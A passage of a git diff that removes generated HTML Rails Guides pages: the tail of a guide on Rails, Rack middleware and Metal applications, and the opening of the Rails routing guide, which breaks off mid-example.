-<div class="paragraph"><p>Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack&#8217;s basics, you should check out the following links:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://rack.github.com">Official Rack Website</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html">Introducing Rack</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://m.onkey.org/2008/11/17/ruby-on-rack-1">Ruby on Rack #1 - Hello Rack!</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://m.onkey.org/2008/11/18/ruby-on-rack-2-rack-builder">Ruby on Rack #2 - The Builder</a>
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_rails_on_rack">2. Rails on Rack</h2>
-<div class="sectionbody">
-<h3 id="_actioncontroller_dispatcher_new">2.1. ActionController::Dispatcher.new</h3>
-<div class="paragraph"><p><tt>ActionController::Dispatcher.new</tt> is the primary Rack application object of a Rails application. It responds to <tt>call</tt> method with a single <tt>env</tt> argument and returns a Rack response. Any Rack compliant web server should be using <tt>ActionController::Dispatcher.new</tt> object to serve a Rails application.</p></div>
-<h3 id="_script_server">2.2. script/server</h3>
-<div class="paragraph"><p><tt>script/server</tt> does the basic job of creating a <tt>Rack::Builder</tt> object and starting the webserver. This is Rails equivalent of Rack&#8217;s <tt>rackup</tt> script.</p></div>
-<div class="paragraph"><p>Here&#8217;s how <tt>script/server</tt> creates an instance of <tt>Rack::Builder</tt></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>app <span style="color: #990000">=</span> Rack<span style="color: #990000">::</span>Builder<span style="color: #990000">.</span>new <span style="color: #FF0000">{</span>
- use Rails<span style="color: #990000">::</span>Rack<span style="color: #990000">::</span>LogTailer <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> options<span style="color: #990000">[:</span>detach<span style="color: #990000">]</span>
- use Rails<span style="color: #990000">::</span>Rack<span style="color: #990000">::</span>Static
- use Rails<span style="color: #990000">::</span>Rack<span style="color: #990000">::</span>Debugger <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> options<span style="color: #990000">[:</span>debugger<span style="color: #990000">]</span>
- run ActionController<span style="color: #990000">::</span>Dispatcher<span style="color: #990000">.</span>new
-<span style="color: #FF0000">}</span><span style="color: #990000">.</span>to_app</tt></pre></div></div>
-<div class="paragraph"><p>Middlewares used in the code above are most useful in development envrionment. The following table explains their usage:</p></div>
-<div class="tableblock">
-<table rules="all"
-width="100%"
-frame="border"
-cellspacing="0" cellpadding="4">
-<col width="50%" />
-<col width="50%" />
-<thead valign="top">
-<tr>
-<th align="left">Middleware </th>
-<th align="left">Purpose</th>
-</tr>
-</thead>
-<tbody valign="top">
-<tr>
-<td align="left"><p class="table">Rails::Rack::LogTailer</p></td>
-<td align="left"><p class="table">Appends log file output to console</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">Rails::Rack::Static</p></td>
-<td align="left"><p class="table">Serves static files inside <tt>RAILS_ROOT/public</tt> directory</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">Rails::Rack::Debugger</p></td>
-<td align="left"><p class="table">Starts Debugger</p></td>
-</tr>
-</tbody>
-</table>
-</div>
-<h3 id="_rackup">2.3. rackup</h3>
-<div class="paragraph"><p>To use <tt>rackup</tt> instead of Rails' <tt>script/server</tt>, you can put the following inside <tt>config.ru</tt> of your Rails application&#8217;s root directory:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># RAILS_ROOT/config.ru</span></span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"config/environment"</span>
-
-use Rails<span style="color: #990000">::</span>Rack<span style="color: #990000">::</span>LogTailer
-use Rails<span style="color: #990000">::</span>Rack<span style="color: #990000">::</span>Static
-run ActionController<span style="color: #990000">::</span>Dispatcher<span style="color: #990000">.</span>new</tt></pre></div></div>
-<div class="paragraph"><p>And start the server:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">[</span>lifo@null application<span style="color: #990000">]</span>$ rackup</tt></pre></div></div>
-<div class="paragraph"><p>To find out more about different <tt>rackup</tt> options:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">[</span>lifo@null application<span style="color: #990000">]</span>$ rackup --help</tt></pre></div></div>
-</div>
-<h2 id="_action_controller_middleware_stack">3. Action Controller Middleware Stack</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Many of Action Controller&#8217;s internal components are implemented as Rack middlewares. <tt>ActionController::Dispatcher</tt> uses <tt>ActionController::MiddlewareStack</tt> to combine various internal and external middlewares to form a complete Rails Rack application.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">
-<div class="title">What is ActionController::MiddlewareStack ?</div><tt>ActionController::MiddlewareStack</tt> is Rails equivalent of <tt>Rack::Builder</tt>, but built for better flexibility and more features to meet Rails' requirements.</td>
-</tr></table>
-</div>
-<h3 id="_inspecting_middleware_stack">3.1. Inspecting Middleware Stack</h3>
-<div class="paragraph"><p>Rails has a handy rake task for inspecting the middleware stack in use:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rake middleware</tt></pre></div></div>
-<div class="paragraph"><p>For a freshly generated Rails application, this will produce:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>use ActionController<span style="color: #990000">::</span>Lock
-use ActionController<span style="color: #990000">::</span>Failsafe
-use ActiveRecord<span style="color: #990000">::</span>QueryCache
-use ActionController<span style="color: #990000">::</span>Session<span style="color: #990000">::</span>CookieStore<span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>secret<span style="color: #990000">=&gt;</span><span style="color: #FF0000">"&lt;secret&gt;"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>session_key<span style="color: #990000">=&gt;</span><span style="color: #FF0000">"_&lt;app&gt;_session"</span><span style="color: #FF0000">}</span>
-use Rails<span style="color: #990000">::</span>Rack<span style="color: #990000">::</span>Metal
-use ActionController<span style="color: #990000">::</span>VerbPiggybacking
-run ActionController<span style="color: #990000">::</span>Dispatcher<span style="color: #990000">.</span>new</tt></pre></div></div>
-<h3 id="_adding_middlewares">3.2. Adding Middlewares</h3>
-<div class="paragraph"><p>Rails provides a very simple configuration interface for adding generic Rack middlewares to a Rails applications.</p></div>
-<div class="paragraph"><p>Here&#8217;s how you can add middlewares via <tt>environment.rb</tt></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># environment.rb</span></span>
-
-config<span style="color: #990000">.</span>middleware<span style="color: #990000">.</span>use Rack<span style="color: #990000">::</span>BounceFavicon</tt></pre></div></div>
-<h3 id="_internal_middleware_stack">3.3. Internal Middleware Stack</h3>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>use <span style="color: #FF0000">"ActionController::Lock"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> lambda <span style="color: #FF0000">{</span>
- <span style="color: #990000">!</span>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>allow_concurrency
-<span style="color: #FF0000">}</span>
-
-use <span style="color: #FF0000">"ActionController::Failsafe"</span>
-
-use <span style="color: #FF0000">"ActiveRecord::QueryCache"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> lambda <span style="color: #FF0000">{</span> <span style="font-weight: bold"><span style="color: #0000FF">defined</span></span><span style="color: #990000">?(</span>ActiveRecord<span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
-
-<span style="color: #990000">[</span><span style="color: #FF0000">"ActionController::Session::CookieStore"</span><span style="color: #990000">,</span>
- <span style="color: #FF0000">"ActionController::Session::MemCacheStore"</span><span style="color: #990000">,</span>
- <span style="color: #FF0000">"ActiveRecord::SessionStore"</span><span style="color: #990000">].</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>store<span style="color: #990000">|</span>
- use<span style="color: #990000">(</span>store<span style="color: #990000">,</span> ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>session_options<span style="color: #990000">,</span>
- <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> lambda <span style="color: #FF0000">{</span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> session_store <span style="color: #990000">=</span> ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>session_store
- session_store<span style="color: #990000">.</span>name <span style="color: #990000">==</span> store
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="color: #FF0000">}</span>
- <span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-use ActionController<span style="color: #990000">::</span>VerbPiggybacking</tt></pre></div></div>
-<div class="tableblock">
-<table rules="all"
-width="100%"
-frame="border"
-cellspacing="0" cellpadding="4">
-<col width="50%" />
-<col width="50%" />
-<thead valign="top">
-<tr>
-<th align="left">Middleware </th>
-<th align="left">Purpose</th>
-</tr>
-</thead>
-<tbody valign="top">
-<tr>
-<td align="left"><p class="table">ActionController::Lock</p></td>
-<td align="left"><p class="table">Sets <tt>env["rack.multithread"]</tt> flag to <tt>true</tt> and wraps the application within a Mutex.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">ActionController::Failsafe</p></td>
-<td align="left"><p class="table">Returns HTTP Status <tt>500</tt> to the client if an exception gets raised while dispatching.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">ActiveRecord::QueryCache</p></td>
-<td align="left"><p class="table">Enable the Active Record query cache.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">ActionController::Session::CookieStore</p></td>
-<td align="left"><p class="table">Uses the cookie based session store.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">ActionController::Session::MemCacheStore</p></td>
-<td align="left"><p class="table">Uses the memcached based session store.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">ActiveRecord::SessionStore</p></td>
-<td align="left"><p class="table">Uses the database based session store.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">ActionController::VerbPiggybacking</p></td>
-<td align="left"><p class="table">Sets HTTP method based on <tt>_method</tt> parameter or <tt>env["HTTP_X_HTTP_METHOD_OVERRIDE"]</tt>.</p></td>
-</tr>
-</tbody>
-</table>
-</div>
-<h3 id="_customizing_internal_middleware_stack">3.4. Customizing Internal Middleware Stack</h3>
-<div class="paragraph"><p>VERIFY THIS WORKS. Just a code dump at the moment.</p></div>
-<div class="paragraph"><p>Put the following in an initializer.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionController<span style="color: #990000">::</span>Dispatcher<span style="color: #990000">.</span>middleware <span style="color: #990000">=</span> ActionController<span style="color: #990000">::</span>MiddlewareStack<span style="color: #990000">.</span>new <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>m<span style="color: #990000">|</span>
- m<span style="color: #990000">.</span>use ActionController<span style="color: #990000">::</span>Lock
- m<span style="color: #990000">.</span>use ActionController<span style="color: #990000">::</span>Failsafe
- m<span style="color: #990000">.</span>use ActiveRecord<span style="color: #990000">::</span>QueryCache
- m<span style="color: #990000">.</span>use ActionController<span style="color: #990000">::</span>Session<span style="color: #990000">::</span>CookieStore
- m<span style="color: #990000">.</span>use ActionController<span style="color: #990000">::</span>VerbPiggybacking
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Josh says :</p></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="paragraph"><p>3.3: I wouldn&#8217;t recommend this: custom internal stack
-i&#8217;d recommend using config.middleware.use api
-we still need a better api for swapping out existing middleware, etc
-config.middleware.swap AC::Sessions, My::Sessoins
-or something like that</p></div>
-</div></div>
-</div>
-<h2 id="_rails_metal_applications">4. Rails Metal Applications</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Rails Metal applications are minimal Rack applications specially designed for integrating with a typical Rails application. As Rails Metal Applications skip all of the Action Controller stack, serving a request has no overhead from the Rails framework itself. This is especially useful for infrequent cases where the performance of the full stack Rails framework is an issue.</p></div>
-<h3 id="_generating_a_metal_application">4.1. Generating a Metal Application</h3>
-<div class="paragraph"><p>Rails provides a generator called <tt>performance_test</tt> for creating new performance tests:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>script/generate metal poller</tt></pre></div></div>
-<div class="paragraph"><p>This generates <tt>poller.rb</tt> in the <tt>app/metal</tt> directory:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Allow the metal piece to run in isolation</span></span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span><span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">"/../../config/environment"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> <span style="font-weight: bold"><span style="color: #0000FF">defined</span></span><span style="color: #990000">?(</span>Rails<span style="color: #990000">)</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Poller
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>call<span style="color: #990000">(</span>env<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> env<span style="color: #990000">[</span><span style="color: #FF0000">"PATH_INFO"</span><span style="color: #990000">]</span> <span style="color: #990000">=~</span> <span style="color: #FF6600">/^\/poller/</span>
- <span style="color: #990000">[</span><span style="color: #993399">200</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">"Content-Type"</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"text/html"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #990000">[</span><span style="color: #FF0000">"Hello, World!"</span><span style="color: #990000">]]</span>
- <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
- <span style="color: #990000">[</span><span style="color: #993399">404</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">"Content-Type"</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"text/html"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #990000">[</span><span style="color: #FF0000">"Not Found"</span><span style="color: #990000">]]</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Metal applications are an optimization. You should make sure to <a href="http://weblog.rubyonrails.org/2008/12/20/performance-of-rails-metal">understand the related performance implications</a> before using it.</p></div>
-<h3 id="_execution_order">4.2. Execution Order</h3>
-<div class="paragraph"><p>All Metal Applications are executed by <tt>Rails::Rack::Metal</tt> middleware, which is a part of the <tt>ActionController::MiddlewareStack</tt> chain.</p></div>
-<div class="paragraph"><p>Here&#8217;s the primary method responsible for running the Metal applications:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> call<span style="color: #990000">(</span>env<span style="color: #990000">)</span>
- <span style="color: #009900">@metals</span><span style="color: #990000">.</span>keys<span style="color: #990000">.</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>app<span style="color: #990000">|</span>
- result <span style="color: #990000">=</span> app<span style="color: #990000">.</span>call<span style="color: #990000">(</span>env<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">return</span></span> result <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> result<span style="color: #990000">[</span><span style="color: #993399">0</span><span style="color: #990000">].</span>to_i <span style="color: #990000">==</span> <span style="color: #993399">404</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="color: #009900">@app</span><span style="color: #990000">.</span>call<span style="color: #990000">(</span>env<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>In the code above, <tt>@metals</tt> is an ordered ( alphabetical ) hash of metal applications. Due to the alphabetical ordering, <tt>aaa.rb</tt> will come before <tt>bbb.rb</tt> in the metal chain.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/important.png" alt="Important" />
-</td>
-<td class="content">Metal applications cannot return the HTTP Status <tt>404</tt> to a client, as it is used for continuing the Metal chain execution. Please use normal Rails controllers or a custom middleware if returning <tt>404</tt> is a requirement.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_middlewares_and_rails">5. Middlewares and Rails</h2>
-<div class="sectionbody">
-</div>
-<h2 id="_changelog">6. Changelog</h2>
-<div class="sectionbody">
-<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4">Lighthouse ticket</a></p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-January 11, 2009: First version by <a href="../authors.html#lifo">Pratik</a>
-</p>
-</li>
-</ul></div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/routing_outside_in.html b/railties/doc/guides/html/routing_outside_in.html
deleted file mode 100644
index 22477e18e7..0000000000
--- a/railties/doc/guides/html/routing_outside_in.html
+++ /dev/null
@@ -1,1591 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Rails Routing from the Outside In</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_the_dual_purpose_of_routing">The Dual Purpose of Routing</a>
- <ul>
-
- <li><a href="#_connecting_urls_to_code">Connecting URLs to Code</a></li>
-
- <li><a href="#_generating_urls_from_code">Generating URLs from Code</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_quick_tour_of_routes_rb">Quick Tour of Routes.rb</a>
- <ul>
-
- <li><a href="#_processing_the_file">Processing the File</a></li>
-
- <li><a href="#_restful_routes">RESTful Routes</a></li>
-
- <li><a href="#_named_routes">Named Routes</a></li>
-
- <li><a href="#_nested_routes">Nested Routes</a></li>
-
- <li><a href="#_regular_routes">Regular Routes</a></li>
-
- <li><a href="#_default_routes">Default Routes</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_restful_routing_the_rails_default">RESTful Routing: the Rails Default</a>
- <ul>
-
- <li><a href="#_what_is_rest">What is REST?</a></li>
-
- <li><a href="#_crud_verbs_and_actions">CRUD, Verbs, and Actions</a></li>
-
- <li><a href="#_urls_and_paths">URLs and Paths</a></li>
-
- <li><a href="#_defining_multiple_resources_at_the_same_time">Defining Multiple Resources at the Same Time</a></li>
-
- <li><a href="#_singular_resources">Singular Resources</a></li>
-
- <li><a href="#_customizing_resources">Customizing Resources</a></li>
-
- <li><a href="#_controller_namespaces_and_routing">Controller Namespaces and Routing</a></li>
-
- <li><a href="#_nested_resources">Nested Resources</a></li>
-
- <li><a href="#_route_generation_from_arrays">Route Generation from Arrays</a></li>
-
- <li><a href="#_namespaced_resources">Namespaced Resources</a></li>
-
- <li><a href="#_adding_more_restful_actions">Adding More RESTful Actions</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_regular_routes_2">Regular Routes</a>
- <ul>
-
- <li><a href="#_bound_parameters">Bound Parameters</a></li>
-
- <li><a href="#_wildcard_components">Wildcard Components</a></li>
-
- <li><a href="#_static_text">Static Text</a></li>
-
- <li><a href="#_querystring_parameters">Querystring Parameters</a></li>
-
- <li><a href="#_defining_defaults">Defining Defaults</a></li>
-
- <li><a href="#_named_routes_2">Named Routes</a></li>
-
- <li><a href="#_route_requirements">Route Requirements</a></li>
-
- <li><a href="#_route_conditions">Route Conditions</a></li>
-
- <li><a href="#_route_globbing">Route Globbing</a></li>
-
- <li><a href="#_route_options">Route Options</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_formats_and_respond_to">Formats and respond_to</a>
- <ul>
-
- <li><a href="#_specifying_the_format_with_an_http_header">Specifying the Format with an HTTP Header</a></li>
-
- <li><a href="#_recognized_mime_types">Recognized MIME types</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_the_default_routes">The Default Routes</a>
- </li>
- <li>
- <a href="#_the_empty_route">The Empty Route</a>
- <ul>
-
- <li><a href="#_using_map_root">Using map.root</a></li>
-
- <li><a href="#_connecting_the_empty_string">Connecting the Empty String</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_inspecting_and_testing_routes">Inspecting and Testing Routes</a>
- <ul>
-
- <li><a href="#_seeing_existing_routes_with_rake">Seeing Existing Routes with rake</a></li>
-
- <li><a href="#_testing_routes">Testing Routes</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Rails Routing from the Outside In</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Understand the purpose of routing
-</p>
-</li>
-<li>
-<p>
-Decipher the code in <tt>routes.rb</tt>
-</p>
-</li>
-<li>
-<p>
-Construct your own routes, using either the classic hash style or the now-preferred RESTful style
-</p>
-</li>
-<li>
-<p>
-Identify how a route will map to a controller and action
-</p>
-</li>
-</ul></div>
-</div>
-</div>
-<h2 id="_the_dual_purpose_of_routing">1. The Dual Purpose of Routing</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Rails routing is a two-way piece of machinery - rather as if you could turn trees into paper, and then turn paper back into trees. Specifically, it both connects incoming HTTP requests to the code in your application&#8217;s controllers, and helps you generate URLs without having to hard-code them as strings.</p></div>
-<h3 id="_connecting_urls_to_code">1.1. Connecting URLs to Code</h3>
-<div class="paragraph"><p>When your Rails application receives an incoming HTTP request, say</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>GET /patients/17</tt></pre>
-</div></div>
-<div class="paragraph"><p>the routing engine within Rails is the piece of code that dispatches the request to the appropriate spot in your application. In this case, the application would most likely end up running the <tt>show</tt> action within the <tt>patients</tt> controller, displaying the details of the patient whose ID is 17.</p></div>
-<h3 id="_generating_urls_from_code">1.2. Generating URLs from Code</h3>
-<div class="paragraph"><p>Routing also works in reverse. If your application contains this code:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@patient</span> <span style="color: #990000">=</span> Patient<span style="color: #990000">.</span>find<span style="color: #990000">(</span><span style="color: #993399">17</span><span style="color: #990000">)</span>
-<span style="color: #FF0000">&lt;%= link_to "Patient Record", patient_path(@patient) %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>Then the routing engine is the piece that translates that to a link to a URL such as <tt>http://example.com/patients/17</tt>. By using routing in this way, you can reduce the brittleness of your application as compared to one with hard-coded URLs, and make your code easier to read and understand.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Patient needs to be declared as a resource for this style of translation via a named route to be available.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_quick_tour_of_routes_rb">2. Quick Tour of Routes.rb</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>There are two components to routing in Rails: the routing engine itself, which is supplied as part of Rails, and the file <tt>config/routes.rb</tt>, which contains the actual routes that will be used by your application. Learning exactly what you can put in <tt>routes.rb</tt> is the main topic of this guide, but before we dig in let&#8217;s get a quick overview.</p></div>
-<h3 id="_processing_the_file">2.1. Processing the File</h3>
-<div class="paragraph"><p>In format, <tt>routes.rb</tt> is nothing more than one big block sent to <tt>ActionController::Routing::Routes.draw</tt>. Within this block, you can have comments, but it&#8217;s likely that most of your content will be individual lines of code - each line being a route in your application. You&#8217;ll find five main types of content in this file:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-RESTful Routes
-</p>
-</li>
-<li>
-<p>
-Named Routes
-</p>
-</li>
-<li>
-<p>
-Nested Routes
-</p>
-</li>
-<li>
-<p>
-Regular Routes
-</p>
-</li>
-<li>
-<p>
-Default Routes
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>Each of these types of route is covered in more detail later in this guide.</p></div>
-<div class="paragraph"><p>The <tt>routes.rb</tt> file is processed from top to bottom when a request comes in. The request will be dispatched to the first matching route. If there is no matching route, then Rails returns HTTP status 404 to the caller.</p></div>
-<h3 id="_restful_routes">2.2. RESTful Routes</h3>
-<div class="paragraph"><p>RESTful routes take advantage of the built-in REST orientation of Rails to wrap up a lot of routing information in a single declaration. A RESTful route looks like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>books</tt></pre></div></div>
-<h3 id="_named_routes">2.3. Named Routes</h3>
-<div class="paragraph"><p>Named routes give you very readable links in your code, as well as handling incoming requests. Here&#8217;s a typical named route:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>login <span style="color: #FF0000">'/login'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'sessions'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'new'</span></tt></pre></div></div>
-<h3 id="_nested_routes">2.4. Nested Routes</h3>
-<div class="paragraph"><p>Nested routes let you declare that one resource is contained within another resource. You&#8217;ll see later on how this translates to URLs and paths in your code. For example, if your application includes parts, each of which belongs to an assembly, you might have this nested route declaration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>assemblies <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>assemblies<span style="color: #990000">|</span>
- assemblies<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>parts
